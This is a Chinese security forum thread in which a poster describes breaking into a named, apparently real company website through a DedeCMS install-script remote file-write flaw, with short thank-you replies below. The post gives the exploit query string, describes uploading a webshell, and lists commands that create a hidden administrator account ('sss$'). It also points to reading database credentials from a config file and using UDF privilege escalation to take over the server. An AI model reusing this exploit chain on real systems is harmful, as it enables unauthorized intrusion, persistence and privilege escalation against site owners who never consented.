请选择 进入手机版 | 继续访问电脑版

SSS安全论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

产品
产品
团队
团队
版规
版规
查看: 7405|回复: 153

利用论坛发出的织梦0day拿下某站点到提权服务器

  [复制链接]
  • TA的每日心情
    奋斗
    2016-7-14 17:48
  • 签到天数: 7 天

    [LV.3]偶尔看看II

    发表于 2015-8-20 23:42:37 | 显示全部楼层 |阅读模式
    过程和视频由论坛ID:qingxin投稿


    目标站http://www.spring-wealth.com/  


    首先看下robots.txt   熟悉的plus    一看就是织梦



    QQ图片20150820233814.png


    那么最近出的个新洞  dedecms远程写文件  那就看看install目录下index.php 或者index.php.bak是否存在吧(其实就是论坛出的教程以及exp)

    一看是存在的  ,exp代码

    ?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php

    图片2.png
    成功连接上,然而不满意。传大马
    图片3.png
    先看看能不能执行cmd吧    whoami试试
    图片4.png
    诺,这时候完全就是人品啊,几乎想到哪里干到哪里
    然后来建立账号
    Net user sss$ sss /add
    Net localgroup administrators sss$ /add
    全部执行成功,过程太顺利了(搞得毫无亮点啊)



    查看下远程服务端口   看能不能直接读取  不能的话去读取注册表
    图片5.png
    图片6.png
    顺利插入~~
    顺便说下   如果cmd命令没有  可以看下 data目录下common.inc.php
    这个配置文件 里面mysql的数据帐号密码都有
    图片7.png
    看了这个可以考虑导出mysqldll.dll  也就是我们常用的udf提权
    执行的时候调用这个动态链接库  也可以顺利添加管理帐号
    文中图片不是太清楚
    有视频

    游客,如果您要查看本帖隐藏内容请回复









    图片1.png
    图片8.png
    回复

    使用道具 举报

  • TA的每日心情

    2016-6-5 18:30
  • 签到天数: 126 天

    [LV.7]常住居民III

    发表于 2015-8-21 00:13:04 | 显示全部楼层
    沙发垫
    回复

    使用道具 举报

  • TA的每日心情
    擦汗
    前天 12:08
  • 签到天数: 261 天

    [LV.8]以坛为家I

    发表于 2015-8-21 09:51:47 | 显示全部楼层
    感谢分享!!!:):)
    回复

    使用道具 举报

  • TA的每日心情
    开心
    2016-11-17 19:54
  • 签到天数: 75 天

    [LV.6]常住居民II

    发表于 2015-8-21 10:40:46 | 显示全部楼层
    我只看看不说话。
  • TA的每日心情

    2016-8-12 10:41
  • 签到天数: 108 天

    [LV.6]常住居民II

    发表于 2015-8-21 10:55:39 | 显示全部楼层
    感谢分享!
    回复

    使用道具 举报

  • TA的每日心情
    慵懒
    2015-11-20 22:09
  • 签到天数: 34 天

    [LV.5]常住居民I

    发表于 2015-8-21 12:58:06 | 显示全部楼层
    看看学习哈哈哈啊
  • TA的每日心情
    擦汗
    2016-12-7 09:56
  • 签到天数: 104 天

    [LV.6]常住居民II

    发表于 2015-8-21 13:16:30 | 显示全部楼层
    我只是一个过客
  • TA的每日心情
    擦汗
    2017-1-10 21:20
  • 签到天数: 100 天

    [LV.6]常住居民II

    发表于 2015-8-21 14:28:24 | 显示全部楼层
    谢谢楼主分享~
  • TA的每日心情
    擦汗
    2016-5-11 12:58
  • 签到天数: 44 天

    [LV.5]常住居民I

    发表于 2015-8-21 18:25:26 | 显示全部楼层
    6666
    回复

    使用道具 举报

  • TA的每日心情
    擦汗
    17 小时前
  • 签到天数: 278 天

    [LV.8]以坛为家I

    发表于 2015-8-21 22:04:54 | 显示全部楼层
    顶顶顶顶顶顶顶顶顶
    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    关闭

    站长推荐上一条 /1 下一条

    关注微信赢邀请码

    QQ|Archiver|手机版|网站地图|网页地图|SSS安全论坛 ( 黔ICP备15010987号  

    GMT+8, 2017-1-22 20:29 , Processed in 0.181342 second(s), 38 queries .

    Powered by SSS团队 X3.2

    © 2014-2015 Comsenz Inc.

    快速回复 返回顶部 返回列表